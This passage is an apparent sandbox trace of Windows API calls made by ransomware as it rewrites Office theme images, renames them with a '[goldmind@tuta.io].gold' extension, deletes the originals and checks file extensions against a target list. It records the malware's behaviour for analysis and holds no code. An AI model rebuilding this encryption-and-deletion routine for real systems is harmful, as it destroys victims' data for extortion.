hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.053] GetLastError () returned 0x0 [0042.053] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0042.069] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0042.070] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.070] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.070] SetEndOfFile (hFile=0x1fc) returned 1 [0042.070] CloseHandle (hObject=0x1fc) returned 1 [0042.070] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.070] SetEndOfFile (hFile=0x18c) returned 1 [0042.071] CloseHandle (hObject=0x18c) returned 1 [0042.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.071] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0042.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.071] lstrlenW (lpString=".doc") returned 4 [0042.071] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString=".docx") returned 5 [0042.072] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.072] lstrlenW (lpString=".pdf") returned 4 [0042.072] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString=".xls") returned 4 [0042.072] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.072] lstrlenW (lpString=".xlsx") returned 5 [0042.072] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.072] lstrlenW (lpString=".ppt") returned 4 [0042.072] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString=".zip") returned 4 [0042.072] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.072] lstrlenW (lpString=".rar") returned 4 [0042.072] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.072] lstrlenW (lpString=".bz2") returned 4 [0042.072] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString=".7z") returned 3 [0042.072] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString=".dbf") returned 4 [0042.072] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString=".1cd") returned 4 [0042.072] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString=".jpg") returned 4 [0042.072] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.072] lstrlenW (lpString=".doc") returned 4 [0042.072] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString=".docx") returned 5 [0042.072] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.072] lstrlenW (lpString=".pdf") returned 4 [0042.072] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.072] lstrlenW (lpString=".xls") returned 4 [0042.073] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.073] lstrlenW (lpString=".xlsx") returned 5 [0042.073] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.073] lstrlenW (lpString=".ppt") returned 4 [0042.073] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.073] lstrlenW (lpString=".zip") returned 4 [0042.073] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.073] lstrlenW (lpString=".rar") returned 4 [0042.073] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.073] lstrlenW (lpString=".bz2") returned 4 [0042.073] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.073] lstrlenW (lpString=".7z") returned 3 [0042.073] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.073] lstrlenW (lpString=".dbf") returned 4 [0042.073] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.073] lstrlenW (lpString=".1cd") returned 4 [0042.073] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0042.073] lstrlenW (lpString=".jpg") returned 4 [0042.073] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.073] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.073] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.074] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=37440) returned 1 [0042.074] CloseHandle (hObject=0x18c) returned 1 [0042.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0042.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.074] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.074] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.074] GetLastError () returned 0x0 [0042.074] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x9240, lpOverlapped=0x0) returned 1 [0042.083] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0042.084] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.084] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.084] SetEndOfFile (hFile=0x1fc) returned 1 [0042.084] CloseHandle (hObject=0x1fc) returned 1 [0042.084] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.084] SetEndOfFile (hFile=0x18c) returned 1 [0042.085] CloseHandle (hObject=0x18c) returned 1 [0042.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.085] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".doc") returned 4 [0042.086] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString=".docx") returned 5 [0042.086] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.086] lstrlenW (lpString=".pdf") returned 4 [0042.086] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString=".xls") returned 4 [0042.086] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString=".xlsx") returned 5 [0042.086] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.086] lstrlenW (lpString=".ppt") returned 4 [0042.086] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".zip") returned 4 [0042.086] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString=".rar") returned 4 [0042.086] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString=".bz2") returned 4 [0042.086] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString=".7z") returned 3 [0042.086] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".dbf") returned 4 [0042.086] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".1cd") returned 4 [0042.086] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".jpg") returned 4 [0042.086] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.086] lstrlenW (lpString=".doc") returned 4 [0042.086] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString=".docx") returned 5 [0042.086] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.086] lstrlenW (lpString=".pdf") returned 4 [0042.086] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.086] lstrlenW (lpString=".xls") returned 4 [0042.086] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString=".xlsx") returned 5 [0042.086] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.086] lstrlenW (lpString=".ppt") returned 4 [0042.086] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.087] lstrlenW (lpString=".zip") returned 4 [0042.087] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.087] lstrlenW (lpString=".rar") returned 4 [0042.087] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.087] lstrlenW (lpString=".bz2") returned 4 [0042.087] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.087] lstrlenW (lpString=".7z") returned 3 [0042.087] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.087] lstrlenW (lpString=".dbf") returned 4 [0042.087] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.087] lstrlenW (lpString=".1cd") returned 4 [0042.087] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0042.087] lstrlenW (lpString=".jpg") returned 4 [0042.087] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.087] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.087] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.088] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=21745) returned 1 [0042.088] CloseHandle (hObject=0x18c) returned 1 [0042.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0042.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.089] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.089] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.089] GetLastError () returned 0x0 [0042.089] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0042.090] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0042.091] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.091] WriteFile (in: hFile=0x1fc, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.091] SetEndOfFile (hFile=0x1fc) returned 1 [0042.092] CloseHandle (hObject=0x1fc) returned 1 [0042.093] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.093] SetEndOfFile (hFile=0x18c) returned 1 [0042.094] CloseHandle (hObject=0x18c) returned 1 [0042.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.094] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".doc") returned 4 [0042.095] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString=".docx") returned 5 [0042.095] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.095] lstrlenW (lpString=".pdf") returned 4 [0042.095] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString=".xls") returned 4 [0042.095] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.095] lstrlenW (lpString=".xlsx") returned 5 [0042.095] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.095] lstrlenW (lpString=".ppt") returned 4 [0042.095] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".zip") returned 4 [0042.095] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.095] lstrlenW (lpString=".rar") returned 4 [0042.095] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.095] lstrlenW (lpString=".bz2") returned 4 [0042.095] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString=".7z") returned 3 [0042.095] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".dbf") returned 4 [0042.095] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".1cd") returned 4 [0042.095] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".jpg") returned 4 [0042.095] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.095] lstrlenW (lpString=".doc") returned 4 [0042.095] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString=".docx") returned 5 [0042.095] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.095] lstrlenW (lpString=".pdf") returned 4 [0042.095] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.095] lstrlenW (lpString=".xls") returned 4 [0042.095] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.095] lstrlenW (lpString=".xlsx") returned 5 [0042.096] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.096] lstrlenW (lpString=".ppt") returned 4 [0042.096] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.096] lstrlenW (lpString=".zip") returned 4 [0042.096] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.096] lstrlenW (lpString=".rar") returned 4 [0042.096] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.096] lstrlenW (lpString=".bz2") returned 4 [0042.096] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.096] lstrlenW (lpString=".7z") returned 3 [0042.096] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.096] lstrlenW (lpString=".dbf") returned 4 [0042.096] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.096] lstrlenW (lpString=".1cd") returned 4 [0042.096] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0042.096] lstrlenW (lpString=".jpg") returned 4 [0042.096] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.096] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.096] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.096] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1339) returned 1 [0042.096] CloseHandle (hObject=0x18c) returned 1 [0042.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0042.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 